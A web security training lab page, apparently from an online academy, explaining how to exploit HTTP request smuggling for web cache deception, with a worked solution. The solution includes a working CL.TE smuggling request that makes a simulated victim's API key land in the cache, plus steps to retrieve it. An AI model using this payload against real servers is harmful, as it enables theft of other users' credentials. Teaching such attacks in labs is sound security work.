Lab: Exploiting HTTP request smuggling to perform web cache deception

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server is caching static resources.

To solve the lab, perform a request smuggling attack such that the next user's request causes their API key to be saved in the cache. Then retrieve the victim user's API key from the cache and submit it as the lab solution.

You have an account on the application that you can use to help design your attack. The credentials are: carlos / montoya.

Note

The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required.

Access the lab

Solution

Click "API Key" on the top right, and observe that the response doesn't have any anti-caching headers.

Smuggle a request to fetch the API key:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Transfer-Encoding: chunked

0

GET /apiKey HTTP/1.1
X-Ignore: X

Repeat this request a few times, then load the home page in an incognito browser window.

Use the Search function on the Burp menu to see if the phrase "Your API Key" has appeared in any static resources. If it hasn't, repeat the POST requests, force-reload the browser window, and re-run the search.

Submit the victim's API key as the lab solution.

Want to track your progress and have a more personalized learning experience? (It's free!)

In this topic

HTTP request smuggling Finding request smuggling Exploiting request smuggling

All topics

SQL injection XSS CSRF XXE SSRF Request smuggling Command injection Directory traversal